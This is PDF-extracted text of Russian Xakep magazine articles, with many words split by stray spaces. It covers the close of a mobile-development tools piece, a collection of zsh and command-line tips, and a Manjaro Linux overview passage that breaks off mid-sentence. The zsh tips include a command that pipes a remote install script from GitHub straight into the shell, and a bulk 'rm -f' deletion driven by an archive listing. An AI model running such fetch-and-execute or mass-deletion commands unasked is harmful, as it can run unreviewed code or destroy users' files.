на одном язы ке,  в дан ном слу чае Java, раз рабаты вать при ложе ния для двух
мобиль ных  сис тем:  iOS  и  Android.  О  нем  мож но  про читать 

.

Multi-OS  Engine

в  дру гой  моей
статье

ИТОГИ
В мини‐цик ле из двух ста тей мы рас смот рели самые популяр ные инс тру мен ‐
ты  для  раз работ ки  мобиль ных  при ложе ний.  С  прак тичес кой  сто роны  име ‐
ющиеся на сегод няшний день средс тва делят ся на  три  типа: Silo, black box,
cross‐platform.  Под ход  Silo  поз воля ет  пол ностью  рас крыть  потен циал  опре ‐
делен ной  плат формы,  но  из‐за  жес ткой  при вяз ки  к  целевой  плат форме  он
неудо бен, если нуж но пор тировать раз рабаты ваемое при ложе ние на дру гую
опе раци онную сис тему.

Black box поз воля ет соз дать толь ко доволь но огра ничен ные при ложе ния.
Средств black box может хва тить на весь ма изощ ренные прог раммы, но, ког ‐
да  на  кону  будут  воп росы  про изво дитель нос ти,  рас ширения,  мас шта биро ‐
вания, вза имо дей ствия со спе цифи чес кими ком понен тами, black box ока жет ‐
ся нес пособ ным отве тить на изме нив шиеся тре бова ния.

Кросс‐плат формен ный  вари ант  на  текущий  момент  пред став ляет ся  луч ‐
шим  спо собом  соз дания  муль тип латфор менных  при ложе ний.  Он  избавлен
от всех недос татков дру гих под ходов и добав ляет при этом свои плю сы. Он
зак люча ет в себе мощ ную сре ду раз работ ки, один язык прог рамми рова ния,
пол ностью  пок рыва ющий  воз можнос ти  всех  под держи ваемых  плат форм,
быс трую  сре ду  выпол нения,  ско рость  которой  при рав нива ется  к  натив ной,
удоб ные  средс тва  раз верты вания  и  отладки  при ложе ний  на  всем  пар ке
девай сов.

Всем уда чи и до встре чи в кросс‐плат формен ной сре де!

mailto:yazevsoft@gmail.com
https://xakep.ru/2017/03/08/mobile-development-tools/
https://clck.ru/Ap8C3
https://stats.hackmag.com/pdf/yazevsoft@gmail.com
http://www.t2d-dev.ru/
https://software.intel.com/ru-ru/intel-xdk
http://intel.com/
http://docs.nativescript.org/start/ns-setup-installer
https://docs.nativescript.org/start/ns-setup-win#nativescript-advanced-setup-windows
https://xakep.ru/2017/03/08/mobile-development-tools/
https://xakep.ru/2016/06/08/multi-os-engine/
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UNIXOID

О том, что коман дная стро ка — это удоб ней ший инс тру мент,
зна ет любой юник соид, пот ратив ший пару часов на изу чение
базовых  команд  и  син такси са  bash.  Но  далеко  не  каж дый
понима ет, нас коль ко на самом деле может быть эффектив на
кон соль. В этой статье мы раз берем мно жес тво инте рес ных
трю ков,  которые  поз волят  тебе  так  про качать  навык  обра ‐
щения с коман дной стро кой, что ты уже не захочешь воз вра ‐
щать ся к гра фичес кому интерфей су.

Эта статья не обу чит тебя, как поль зовать ся кон солью, как объ еди нять коман ‐
ды в пай пы и перенап равлять ввод‐вывод. Она не о том, как писать скрип ты
или фун кции. Из нее ты не узна ешь, чем отли чает ся bash от tcsh. Ее задача —
показать тебе, как исполь зовать кон соль на всю катуш ку, добавить +50 к ско ‐
рос ти вво да команд и +100 к эффектив ности. Поэто му нович кам сто ит начать
с базовых руководств или хотя бы изу чить  .linux cheat sheet

А мы, недол го думая, перей дем к делу.

МИГРИРУЕМ НА ZSH
Пер вое, что сто ит сде лать перед началом про кач ки скил лов, — это изба вить ‐
ся от bash. Не потому, что он пло хой или уста рев ший, а потому, что сущес тву ‐
ет ZSH. Он неил люзор но повысит твою про дук тивность.

ZSH — очень слож ный и ком плексный коман дный интер пре татор. Пол ное
руководс тво ZSH нас читыва ет око ло 800 стра ниц, а абсо лют но все его фун ‐
кции, навер ное, не зна ет ник то. Но это го ни от  кого и не  тре буют. На све те
уже  нес коль ко  лет  сущес тву ет  про ект  ,  где  поль зовате ли  соз дают
набор скрип тов, с помощью которых мож но тви кать и нас тра ивать ZSH быс ‐
тро и лег ко.

oh‐my‐zsh

Что бы  получить  стан дар тный  набор  тви ков  и  нас тро ек,  вклю чая  мощ ный
механизм  авто допол нения,  информа тив ное  приг лашение  к  вво ду  коман ды,
нас трой ки,  повыша ющие  удобс тво  работы  с  ZSH,  дос таточ но  прос то  уста ‐
новить  oh‐my‐zsh.  Далее  его  мож но  обве шать  пла гина ми  для  боль шего
удобс тва  работы  с  раз ными  при ложе ниями  и  поменять  тему  приг лашения
на любую из десят ков, соз данных поль зовате лями.

Итак, для начала уста нав лива ем ZSH:

$ sudo apt‐get install zsh

А затем ска чива ем и уста нав лива ем oh‐my‐zsh:

$ sh ‐c "$(curl ‐fsSL https://raw.githubusercontent.com/robbyrussell/
oh‐my‐zsh/master/tools/install.sh)"

Скрипт уста нов ки кло ниру ет git‐репози торий в каталог 
, добавит необ ходимые прав ки для вызова нуж ных скрип тов в кон фиг 

 и запус тит ZSH.

/home/username/.oh‐
my‐zsh /
home/username/.zshrc

Ус танав лива ем oh‐my‐zsh

Те перь необ ходимо сде лать ZSH шел лом по умол чанию:

$ sudo usermod ‐s /usr/bin/zsh имя_юзера

И  перело гинить ся,  что бы  эму лятор  тер минала  исполь зовал  ZSH  в  качес тве
дефол тового  шел ла.  В  качес тве  опци ональ ного  шага  ты  можешь  изме нить
тему. В  ком плект oh‐my‐zsh  вхо дит огромное  количес тво  тем, озна комить ся
с которы ми мож но на  . Что бы выб рать новую тему, исправь зна ‐
чение  перемен ной  ZSH_THEME  в фай ле  ~/.zshrc.  Выберем,  нап ример,  тему
agnoster:

wiki‐стра нице

ZSH_THEME="agnoster"

Те ма agnoster

ПЕРЕМЕЩАЕМСЯ ПО КАТАЛОГАМ БЫСТРО
Од на  из  глав ных  проб лем  кон соли  сос тоит  в  том,  что  ее  неудоб но  исполь ‐
зовать для переме щения по катало гам. Осо бен но если вло жен ных катало гов
мно го, они име ют длин ные име на, а еще хуже — похожие име на. В этом слу ‐
чае  сис тема  авто допол нения  с  помощью  кноп ки  Tab  помога ет  пло хо  и  все,
что оста ется, — это печатать име на катало гов руками.

ZSH упро щает навига цию. Во‐пер вых, он уме ет исправ лять регистр букв,
поэто му ты можешь начать печатать неч то вро де

$ cd ~/do

За тем нажать Tab и получить это:

$ cd ~/Downloads

Во‐вто рых,  сис тема  авто допол нения  имен  катало гов  ZSH нам ного  раз витее
сво его  ана лога  из  bash.  Если  ZSH  обна ружит,  что  с  вве ден ных  тобой  сим ‐
волов  начина ются  име на  сра зу  нес коль ких  катало гов,  он  не  будет  пищать,
а затем выводить спи сок катало гов, зас тавляя тебя уточ нять зап рос, а сра зу
выведет спи сок и поз волит   нуж ный каталог с помощью Tab или стре ‐
лок.

выб рать

Вы бира ем каталог

В‐треть их,  авто допол нение  работа ет  не  толь ко  для  начала  име ни  катало га/
фай ла,  но и для любой его  час ти. Что бы перей ти  в  каталог ~/Downloads,  ты
можешь наб рать load и нажать Tab.

На конец,  в‐чет вертых,  ZSH  уме ет  допол нять  име на  катало гов  по  все му
пути, а не толь ко в пос ледней его час ти. Это зна чит, что ты можешь напеча ‐
тать неч то вро де это го:

$ cd /u/s/zs

За тем нажать Tab и получить это:

$ cd /usr/share/zsh

Бо лее  того,  тебе сов сем не обя затель но печатать даже пер вые бук вы имен
катало гов. ZSH и bash уме ют находить нуж ные катало ги самос тоятель но, если
они  перечис лены  в  перемен ной  CDPATH.  Добавь,  нап ример,  сле дующую
стро ку в ~/.zshrc:

export CDPATH=/var/www:/home/имя_юзера/Dropbox

Те перь,  что бы открыть  каталог ~/Dropbox/Books, мож но исполь зовать  такую
коман ду:

$ cd Books

ZSH про верит, есть ли каталог Books в /var/www или /home/имя_юзе ра/Drop‐
box, и перемес тит тебя в него, если он сущес тву ет.

Fasd
Есть и гораз до более мощ ное средс тво для переме щения меж ду катало гами.
Это  ути лита    (про изно сит ся  как  fast  —  быс трый).  Она  запоми нает  все
катало ги  (и  прос то  пути  к  фай лам),  которые  ты  исполь зовал,  и  поз воля ет
переме щать ся меж ду ними, ука зав лишь часть пути (даже нес коль ко букв).

fasd

Ра бота ет  это  так.  Допус тим,  ранее  ты  перехо дил  в  каталог
~/src/projects/apps/myCoolApp  и  теперь,  спус тя  часы  или  даже  дни,  хочешь
в него вер нуть ся. Все, что тебе необ ходимо сде лать, — это выпол нить такую
коман ду:

$ z myCoolApp

Мож но про ще:

$ z CoolApp

И еще про ще:

$ z Cool

Тре бова ние одно: ука зан ный тобой набор сим волов дол жен быть уни каль ным
сре ди всех путей, которые запом нил fasd. Кро ме z, fasd под держи вает и дру ‐
гие шор тка ты: a — показы вает все сох ранен ные пути, zz — поз воля ет перей ти
в  каталог, исполь зуя инте рак тивное меню  (если вве ден ный набор сим волов
встре чает ся в нес коль ких путях), v — откры вает файл в редак торе Vim.

Ути лита  fasd дос тупна для Debian/Ubuntu, Arch Linux через AUR и для ma‐
cOS через brew. Уста новить в Ubuntu мож но так:

$ sudo add‐apt‐repository ppa:aacebedo/fasd
$ sudo apt‐get update
$ sudo apt‐get install fasd

Да лее необ ходимо акти виро вать пла гин fasd в ~/.zshrc:

plugins=(git fasd)

Peco
Peco — еще один инс тру мент, спо соб ный силь но облегчить навига цию, а так ‐
же поиск. Это неболь шая  ути лита,  которая при нима ет  на  вход  спи сок  строк
и  выводит  на  экран  псев догра фичес кое  меню,  с  помощью  которо го  мож но
выб рать  или  най ти  нуж ную  стро ку.  Далее  peco  отда ет  эту  стро ку  на  выход
и завер шает свою работу (по сути, это кон соль ный ана лог dmenu).

Peco мож но исполь зовать для навига ции и поис ка в любых тек сто вых стро ‐
ках,  вклю чая  пути.  Нап ример,  если  ты  запус тишь  сле дующую  коман ду
и выберешь каталог, peco напеча тает его имя в тер минале:

$ ls | peco

Не  слиш ком  удоб но  и  полез но.  Одна ко,  нем ного  усложнив  при мер,  ты
получишь инте рак тивный cd:

$ cd `ls | peco`

Поль за появи лась, удобс тво пос тра дало. Поэто му соз дадим для этой коман ‐
ды  корот кий  и  прос той  псев доним.  Для  это го  добавим  сле дующую  стро ку
в ~/.zshrc:

alias cdi='cd `ls | peco`'

Те перь коман да cdi будет запус кать наш инте рак тивный cd.
Кста ти, о самом cd. Запом ни два прос тых пра вила:
ко ман да   без аргу мен тов отпра вит тебя в домаш ний каталог;• cd

ко ман да   вер нет в пре дыду щий каталог.• cd -

Peco

ИСПОЛЬЗУЕМ АВТОДОПОЛНЕНИЕ НА ПОЛНУЮ КАТУШКУ
Сис тема  авто допол нения  ZSH  инте рес на  не  толь ко  сво ими  интеллек туаль ‐
ными фун кци ями, но и тем, что она работа ет не с одни ми име нами катало гов
и  фай лов.  ZSH  уме ет  допол нять  фла ги  и  опции  мно гих  ути лит  и  выводить
удоб ную справ ку по ним, уме ет допол нять наз вания пакетов apt‐get, yum, pac‐
man  и  дру гих  пакет ных  менед жеров,  допол няет  име на  хос тов  при  под клю ‐
чении по SSH. Если наб рать kill и нажать кноп ку Tab, ZSH выведет спи сок про ‐
цес сов. Пос ле вто рого нажатия Tab спи сок ста нет инте рак тивным, и ты смо ‐
жешь выб рать про цесс, который сле дует умер твить.

Кро ме  встро енных  пра вил  авто допол нения,  on‐my‐zsh  име ет  мно жес тво
 с пра вила ми авто допол нения для мно гих ути лит и при ложе ний.пла гинов

Kill Tab Tab

РАБОТАЕМ С ИСТОРИЕЙ КОМАНД
Лю бой сов ремен ный  коман дный интер пре татор, будь  то ZSH или bash,  сох ‐
раня ет  исто рию  вве ден ных  команд.  ZSH  хра нит  исто рию  в  фай ле 

. При необ ходимос ти его мож но пог репать (
), что бы най ти нуж ную коман ду. Но делать это сов сем не обя ‐

затель но, ведь коман дный интер пре татор уже име ет в сво ем арсе нале набор
средств для работы с исто рией.

/home/
username/.zsh_history grep ls
~/.zsh_history

Нап ример,  сле дующая  коман да  вста вит  в  стро ку  вво да  пре дыду щую
коман ду:

$ !!

Ее осо бен но удоб но исполь зовать, если забыл ука зать sudo перед коман дой,
тре бующей пра ва root:

$ pacman ‐Syu
error: you cannot perform this operation unless you are root.
$ sudo !!
sudo pacman ‐Syu

Мож но взять из исто рии толь ко аргу мент коман ды. Нап ример:

$ cd /home/user/foo
cd: /home/user/foo: No such file or directory
$ mkdir !*
mkdir /home/user/foo

А  так  мож но  вста вить  в  стро ку  вво да  пос леднюю  коман ду,  начина ющуюся
с ука зан ных сим волов:

$ !qwerty

Ес ли  же  нуж но  най ти  коман ду  с  ука зан ными  сим волами  где‐то  в  середи не
или в кон це, мож но сде лать так:

$ !?qwerty?

Ты можешь даже исправ лять опис ки в пос ледней вве ден ной коман де:

$ ^dc^cd

С  помощью  ком бинации  Ctrl  +  R  коман ды  мож но  искать  в  инте рак тивном
режиме. Прос то  нач ни  вби вать  сим волы,  при сутс тву ющие  в  коман де,  и  ZSH
вста вит  в  стро ку  вво да  нуж ную  коман ду.  Это  очень  удоб ная фун кция,  но  ее
мож но сде лать еще удоб нее, если исполь зовать воз можнос ти уже зна комо го
нам peco.

В Сети мож но най ти сто рон ний пла гин для oh‐my‐zsh под наз вани ем 
. Прос то ска чай его в каталог сто рон них пла гинов ZSH:

zsh‐
peco‐history

$ git clone https://github.com/jimeh/zsh‐peco‐history.git $ZSH_CU
STOM/plugins/zsh‐peco‐history

И акти вируй в ~/.zshrc:

plugins=(git fasd zsh‐peco‐history)

Те перь ком бинация Ctrl + R будет запус кать пол ноэк ранное меню peco вмес ‐
то однос троч ной поис ковой стро ки.

КОПИРУЕМ, УДАЛЯЕМ, ПЕРЕИМЕНОВЫВАЕМ
Ка залось  бы,  что  может  быть  про ще,  чем  ско пиро вать  или  пере име новать
файл? Прос то вби ваешь коман ду cp или mv, а затем ста рое и новое име на:

$ cp httpd.conf httpd.conf.bak

Но зачем утруждать себя, нажимая лиш ние кноп ки, если мож но сде лать так:

$ cp httpd.conf{,.bak}

Стро ка,  содер жащая  фигур ные  скоб ки  с  дву мя  стро ками,  раз делен ными
запятой,  будет  раз верну та  в  две  стро ки,  в  одной  из  которых будут  сим волы
до запятой, а в дру гой — сим волы пос ле.

Мож но пой ти даль ше и исполь зовать не прос то замену строк, а регуляр ‐
ные выраже ния. Для это го нам понадо бит ся коман да rename:

$ rename 's/регулярка/на_что_заменить/' *.txt

Та кая  коман да  заменит  все  подс тро ки,  под пада ющие  под  регуляр ное
выраже ние,  в  име нах  всех фай лов  с  рас ширени ем  .txt.  Недур но,  не  прав да
ли?

Так же сто ит изу чить коман ду basename. При обыч ном исполь зовании она
прос то выводит пос ледний эле мент пути:

$ basename /usr/bin/zsh
zsh

Но так же ее мож но исполь зовать для отре зания час тей стро ки, нап ример:

$ basename file.txt .txt
file

Ты можешь спро сить, что это дает? А вот что:

$ for file in *.png; do convert "$file" "`basename "$file" .png`.
jpg" ; done;

Это  переко диров щик  всех  фай лов  PNG  в  JPG.  Коман да  край не  прос та:  мы
соз даем цикл, который про ходит ся по всем фай лам PNG в текущем катало ге,
затем  запус кает  коман ду  convert  для  переко диров ки  их  в  JPG.  Basename
здесь  нужен  для  того,  что бы  дать  новым  фай лам  кор рек тное  имя.  Хинт:
обратные кавыч ки запус кают зак лючен ную в себя коман ду в так называ емом
суб шелле. Они нуж ны для запус ка одной коман ды из дру гой.

Что бы понять их мощь, обра ти вни мание на сле дующую коман ду:

$ rm ‐f `tar ztf /path/to/file.tar.gz`

Уве рен, эта коман да не раз спа сет тебя, ког да ты рас паку ешь архив tar.gz не в
тот каталог. Она уда ляет все ранее рас пакован ные фай лы.

ИЩЕМ ПРАВИЛЬНО
Ты  уже  дол жен  знать,  что  в  любой  UNIX‐сис теме  есть  коман да  find,  пред ‐
назна чен ная для поис ка фай лов. Исполь зовать ее пре дель но прос то:

$ find . ‐name *.c ‐type f

Эта  коман да  най дет  все фай лы  с  рас ширени ем  .c  в  текущем  катало ге  и  во
всех  его  под катало гах.  Но  что  делать,  если  в  каж дом  из  этих фай лов  необ ‐
ходимо най ти стро ку open? А вот это:

$ find ‐name *.c ‐type f | xargs grep open

Ищем open в фай лах .c

Мож но и нес коль ко по‐дру гому:

$ find . ‐name *.c ‐exec grep ‐H open {} ;

Этот  при мер  нем ного  слож нее  и,  как  ни  стран но,  мед леннее.  Почему?
Потому,  что  xargs  рас парал лелит  поиск,  запус тив  отдель ный  про цесс  grep
на каж дую стро ку.

При желании от find мож но вооб ще изба вить ся:

$ grep ‐R open ‐‐include="*.c".

По сути, это экви валент пре дыду щей коман ды.

РАБОТАЕМ С БУФЕРОМ ОБМЕНА
Чи тая  эту  статью,  ты навер няка  то и дело  копиро вал  коман ды и  встав лял их
в  тер минал.  Если  нет —  зна чит,  ты  набирал  их  сам,  что  пра виль но,  память
тебя отбла года рит. В  любом слу чае  копиро вать и  встав лять  коман ды в  тер ‐
минал  жут ко  неудоб но,  как,  впро чем,  неудоб на  и  сама  кон цепция  копиро ‐
вания/встав ки.

Од нако  в  слу чае  с  тер миналом  у  тебя  есть  один  очень  мощ ный  инс тру ‐
мент. Он называ ется xclip и поз воля ет копиро вать и встав лять в буфер обме ‐
на. Для начала добавь в ~/.zshrc сле дующие стро ки и переза пус ти тер минал
(или ZSH):

alias ‐g xcopy='xclip ‐selection clipboard'
alias ‐g xpaste='xclip ‐selection clipboard ‐o'

Те перь,  что бы  что‐то  ско пиро вать  в  буфер  обме на,  прос то  перенап равь
вывод в xcopy. Нап ример:

$ uname ‐a | xcopy

В буфере обме на ока жет ся вывод коман ды uname ‐a. Вста вить мож но таким
же обра зом:

$ xpaste

Вы вод так же мож но перенап равить. Или зак лючить xpaste в обратные кавыч ‐
ки, что бы его содер жимое было выпол нено шел лом.

ВЫВОДЫ
Ко ман дная  стро ка  не  прос то  мощ ный  инс тру мент.  Это  нас толь ко  мощ ный
инс тру мент, что мне даже труд но при думать, какой тип интерфей са ОС может
быть эффектив нее. То, о чем я написал, — такая кро шеч ная часть вер хушки
айсбер га, что для опи сания всех трю ков коман дной стро ки пот ребова лась бы
серия книг, срод ни «Боль шой совет ской энцикло педии». Ну а напос ледок то,
чего все так дол го жда ли, — dd с показом прог ресса:

$ pv ‐tpreb /dev/sdb | dd of=~/sdb.img bs=1M

На этом все.

WWW

•Ог ромный набор советов по ZSH
•Не менее огромный набор советов
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UNIXOID

Мир  нас толь ных  сис тем  Linux  очень  раз нооб разен.
На сегод няшний день в рей тин ге Distrowatch.com нас читыва ‐
ется  288  дис три бути вов  с  самой  раз ной  филосо фией
и областью при мене ния. За все вре мя сущес тво вания рей ‐
тин га  в  него  вхо дили  и  исче зали  сот ни  дис три бути вов,
но  один  из  них  смог  заво евать  популяр ность  и  выр вать ся
на  третье  мес то  все го  за  нес коль ко  лет  сво его  сущес тво ‐
вания.  Это Manjaro,  осно ван ный  на  Arch  Linux  дис три бутив,
оста вив ший сво его родите ля далеко позади.

В НАЧАЛЕ ВРЕМЕН
На чало про екту положил авс три ец Роланд Зин гер (Roland Singer), в середи ‐
не  2011  года  сооб щивший  на форуме  Arch  Linux  о  том,  что  соб рал  Live CD
с  уже  извес тным  нам  наз вани ем.  В  качес тве  рабоче го  окру жения  по  умол ‐
чанию он выб рал XFCE. Он и остался флаг ман ским рабочим сто лом сис темы
поныне.

XFCE — флаг ман Manjaro Linux

Вско ре к про екту прим кну ли еди номыш ленни ки: фран цуз Гий ом Бенуа  (Guil‐
laume Benoit) и выходец из про екта Chakra Linux Филип Мюл лер (Philip Müller).
А спус тя год пос ле пер вого упо мина ния в Сети, 20 августа 2012‐го, мир уви ‐
дел пер вую ста биль ную вер сию дис три бути ва — Manjaro 0.8.

Раз работ чики неус танно пов торя ют, что Manjaro, нес мотря на свое близ ‐
кое  родс тво  с  Arch  Linux,  по  сути,  пол ностью  незави симая  сис тема  с  собс ‐
твен ными  репози тори ями  прог рам мно го  обес печения,  инс тру мен тами  нас ‐
трой ки,  коман дой  раз работ чиков  и  сво им  видени ем  нап равле ния  раз вития
сис темы.

С самых пер вых дней про ект ста вил одной из сво их глав ных целей сде лать
такую  сис тему,  которая  обес печит  дос туп  широко му  кру гу  поль зовате лей
к мощи и прос тоте Arch Linux, обой дя при этом все острые углы родитель ско ‐
го дис три бути ва, пре пятс тву ющие его широко му рас простра нению.

В НИХ МНОГО ОБЩЕГО...
Силь ные  сто роны  Manjaro,  унас ледован ные  от  Arch  Linux,  —  проз рачность
и понят ность  сис темы,  ско рость,  эффектив ность работы. Как и  арч, Manjaro
исполь зует модель неп рерыв ной раз работ ки  (rolling  release),  так  что  у  поль ‐
зовате ля  в  любой  момент  вре мени  ока зыва ется  уста нов ленной  самая  пос ‐
ледняя вер сия как опе раци онной сис темы в целом,  так и  кон крет ного прог ‐
рам мно го обес печения.

Но вые  релизы  Manjaro  регуляр но  появ ляют ся,  но  они  приз ваны  лишь
зафик сировать  текущее  сос тояние  сис темы  и  ее  ком понен тов  и  дать  воз ‐
можность в слу чае новой уста нов ки получить сис тему, не тре бующую заг рузки
боль шого количес тва обновле ний (что неп ремен но сло мает сис тему).

Еще  одна  осо бен ность  сис темы —  пол ная  сов мести мость  с  так  называ ‐
емым  поль зователь ским  репози тори ем  Arch  (Arch  User  Repository,  AUR).
На  самом  деле  AUR  не  впол не  репози торий,  вер нее,  это  не  репози торий
бинар ных  пакетов,  а  каталог  сце нари ев  сбор ки  (PKGBUILD),  поз воля ющих
авто мати чес ки  соб рать  дво ичный  пакет  из  исходни ков  и  кор рек тно  уста ‐
новить его в сис тему. Кор рек тность в дан ном слу чае озна чает,  что уста нов ‐
ленный  пакет  впос ледс твии  может  быть  без болез ненно  (для  сис темы)  уда ‐
лен, то есть не оста вит за собой хвос тов в виде забытых фай лов, как быва ет
при  руч ной  сбор ке  из  исходни ков  коман дой  ./configure  &&  make  &&  make
install.

Кро ме  того,  с  помощью  таких  же  сце нари ев  мож но  пре обра зовы вать
бинар ные пакеты, изна чаль но пред назна чен ные для дис три бути вов с дру гой
сис темой  управле ния  пакета ми,  но  отсутс тву ющие  для  сис тем,  осно ван ных
на  Arch  как  в  виде  исходни ков,  так  и  в  виде  дво ичных  пакетов.  Нап ример,
бета‐вер сия  при ложе ния  Skype  for  Linux,  активно  раз рабаты ваемая  в  нас ‐
тоящее вре мя Microsoft, дос тупна на сай те про изво дите ля толь ко в виде DEB‐
и RPM‐пакетов, но ее лег ко мож но уста новить из AUR.

В Сети так же дос тупны и дру гие бинар ные репози тории. Один из наибо ‐
лее  извес тных  —  archlinuxcn  под держи вает ся  китай ским  сооб щес твом.
Решение  об  исполь зовании  подоб ных  незави симых  репози тори ев  каж дый
из  поль зовате лей  при нима ет  на  свой  страх  и  риск,  пос коль ку  допод линно
узнать,  что  скры вает ся  в  кон крет ном  бинар нике,  зачас тую  быва ет  далеко
не  прос то.  В  общем,  это  уже  воп рос  доверия  кон крет ному  сто рон нему
репози торию.

В этом отно шении выиг рышно будет смот реть ся локаль ный репози торий
поль зовате ля,  раз меща емый  пря мо  на  рабочей  машине.  Дос таточ но
выделить под репози торий спе циаль ный каталог, помес тить в нем соб ранные
из исходни ков и отсутс тву ющие по какой‐либо при чине в сво бод ном дос тупе
бинар ные  пакеты,  сфор мировать  спе циаль ной  коман дой файл  базы  дан ных
и  ука зать  его  в  пред почита емом  менед жере  пакетов.  Пос ле  обновле ния
источни ков  при ложе ний  нуж ный  пакет  будет  дос тупен  к  уста нов ке  в  общем
спис ке пакет ной базы.

...НО ОНИ ТАКИЕ РАЗНЫЕ
Но не плю сы Arch Linux под вигли осно вате лей Manjaro к соз данию сво ей сис ‐
темы,  а  те  минусы,  точ нее —  осо бен ности  родитель ской  сис темы,  которые
ста новят ся естес твен ной прег радой для нович ков. Дело в том, что при уста ‐
нов ке и нас трой ке Arch Linux прак тичес ки все при ходит ся делать вруч ную —
вво дить коман ды и выпол нять раз личные сце нарии.

Этот про цесс не столь ко тру доем кий (хотя может выз вать доволь но серь ‐
езные  зат рудне ния  у  сов сем  уж  нович ка  даже  на  эта пе  чте ния  инс трук ций),
сколь ко  рано  или  поз дно  надо едающий.  Осо бен но  ког да  нуж на  сис тема,
которая  дол жна  работать  здесь  и  сей час.  Пред ставь  себе  авто люби теля,
которо му для того, что бы перек лючить свет фар с даль него на ближ ний, при ‐
ходи лось  бы  оста нав ливать ся,  откры вать  капот  машины  и  вруч ную  переки ‐
дывать клем мы на лам почке, каж дый раз бур ча себе под нос, что бла года ря
это му он теперь хорошо понима ет устрой ство авто моби ля.

Раз работ чики  Manjaro  внес ли  в  сис тему  ряд  изме нений,  облегча ющих
уста нов ку, запуск и работу в сис теме, так что ее отли чают:

прос тая и понят ная уста нов ка с помощью гра фичес ких инс тру мен тов;•
ав томати чес кая  уста нов ка  сто рон них  драй веров  (сво бод ных  или  проп ‐
риетар ных, на выбор);

•

собс твен ный  репози торий  прог рам мно го  обес печения,  допол нитель но
про тес тирован ного  сооб щес твом,  —  в  ста биль ной  вет ке  содер жатся
пакеты, мак сималь но сво бод ные от воз можных оши бок;

•

воз можность  выбора  и  уста нов ки  необ ходимых  вер сий  ядра  Linux  в  гра ‐
фичес ком режиме.

•

УСТАНОВКА В ПАРУ КЛИКОВ
Сис тема уста нав лива ется с помощью гра фичес кого инс тру мен та Calamares,
в раз работ ке которо го, помимо коман ды Manjaro, при нима ют учас тие ребята
из Debian, Fedora, KaOS, Blue Systems и KDE Visual Design Group. Calamares
дей стви тель но удоб ный инс тру мент, поз воля ющий из одной точ ки вхо да пол ‐
ностью под готовить сис тему к уста нов ке и затем без проб лем ее уста новить.

Гра фичес кая ути лита уста нов ки Calamares

Уз ким  мес том  для  неан гло языч ного  поль зовате ля  мож но  пос читать  лишь
некото рую  неувяз ку  с  пред варитель ным  выбором  язы ка  сис темы.  Так,  если
для будущей сис темы по умол чанию выб рать рус ский, а во вре мя уста нов ки
ука зать  пароль  на  англий ском,  то  при  пер вом  запус ке  уста нов ленной  сис ‐
темы вой ти в нее не удас тся: рас клад ка кла виату ры будет рус ской и сме нить
ее,  что бы ввес ти пароль на англий ском, будет невоз можно. Самый прос той
спо соб обой ти эту проб лему — ука зать циф ровой пароль, а уже пос ле вхо да
в сис тему изме нить его.

НАМ ТУТ РАДЫ
Сра зу пос ле пер вой заг рузки появ ляет ся при ветс твен ное окно Manjaro Hello.
Здесь  соб рана  вся  информа ция,  поз воля ющая  осво ить ся  в  сис теме  и  поз ‐
накомить ся с ее клю чевы ми воз можнос тями. Тут же находит ся опи сание акту ‐
аль ной  вер сии  дис три бути ва  и  воз можнос тей  сис темы  в  целом,  ссыл ки
на форумы,  чаты  и  вики,  пос вящен ные Manjaro  (в  том  чис ле  рус ско языч ные
форум и груп па в мес сен дже ре Telegram), а так же при водят ся спо собы при ‐
нять  учас тие  в  раз витии  про екта.  При ветс твен ное  окно  пол ностью  локали ‐
зова но и визу аль но впи сыва ется в любое уста нов ленное рабочее окру жение.

Глав ное окно Manjaro Hello

Сле дующее  окно — менед жер  нас тро ек Manjaro  Settings Manager,  в  сос тав
которо го вхо дят модуль реги ональ ных и язы ковых нас тро ек, модули управле ‐
ния учет ными запися ми поль зовате лей сис темы, нас трой ки даты и вре мени,
кла виату ры и обо рудо вания.

Ме нед жер обо рудо вания Manjaro

С  помощью  менед жера  нас тро ек  так же  мож но  выб рать  и  уста новить  ядро.
На выбор дюжина ядер раз личных вер сий,  в  том чис ле помечен ные фла гом
LTS  и  самые  све жие,  но,  воз можно,  нес табиль ные. Одно  из  ядер  помече но
как рекомен дуемое и исполь зует ся по умол чанию при пер вой уста нов ке сис ‐
темы. При сутс тву ет и пара ядер реаль ного вре мени, обес печива ющих низ кую
задер жку обра бот ки дан ных, что удоб но при работе со зву ком.

Мо дуль «Ядро» менед жера нас тро ек Manjaro

СОФТ И ВСЕ ОСТАЛЬНОЕ
Ста вить и уда лять софт так же мож но с помощью гра фичес кого инс тру мен та.
Дос тупны два  вари анта:  осно ван ный на GTK 3 Pamac и базиру ющий ся на Qt
Octopi.  Оба  —  гра фичес кая  надс трой ка  над  pacman,  менед жером  пакетов
Arch  Linux.  В  отли чие  от  Octopi,  раз работ кой  которой  занима ются  люди
со сто роны, Pamac — детище Manjaro Linux, и в том же Arch Linux его мож но
пос тавить толь ко из AUR.

Pamac

В обе их прог раммах име ется воз можность уста нов ки соф та как из офи циаль ‐
ного  репози тория  пакетов,  так  и  из  AUR.  В  Manjaro  сущес тву ет  три  вет ки,
отли чающиеся  по  сте пени  ста биль нос ти  содер жащих ся  в  них  пакетов:  ста ‐
биль ная, тес товая и нес табиль ная. Все новые вер сии пакетов пер воначаль но
попада ют  в  нес табиль ную  вет ку,  но  не  рань ше,  чем  эти  вер сии  ока жут ся
в репози тории Arch Linux.

Octopi

С помощью Pamac и Octopi мож но уста нав ливать и обновлять как еди нич ные
пакеты,  так  и  всю  сис тему  в  целом.  При чем  в  отли чие  от  Arch  Linux  рис ки
при обновле нии  сис темы све дены  к миниму му.  К момен ту  вклю чения  в  ста ‐
биль ную вет ку пакет про ходит огонь, воду и мед ные тру бы, о чем сви детель ‐
ству ет пос ледняя циф ра пос ле дефиса в номере его вер сии — столь ко раз
пакет был пересоб ран, преж де чем приз нан ста биль ным.

Инте рес ные фак ты
Рол линг‐вер сия дис три бути ва Netrunner, выпус кавша яся
с 2014 по 2016 год, была осно вана на Manjaro.

•

Наз вание Manjaro (вари анты проч тения «Ман джа ро», «Ман жаро», «Ман ‐
харо» рав нознач ны) было выб рано осно вате лем про екта Ролан дом Зин ‐
гером пос ле его вос хожде ния на афри кан ский про товул кан Килиман джа ‐
ро. В Тан зании так же есть населен ный пункт с наз вани ем Manjaro.

•

Пер воначаль ный вари ант логоти па в виде сти лизо ван ной бук вы M, вер ‐
хний край которой похож на бук ву L, был моног раммой наз вания сис ‐
темы — Manjaro Linux. Три вер тикаль ные чер ты сим волизи рова ли трех
глав ных раз работ чиков: Зин гера, Мюл лера и Бенуа.

•

В 2016 году раз работ чики Manjaro пред при няли мас сирован ную кам панию
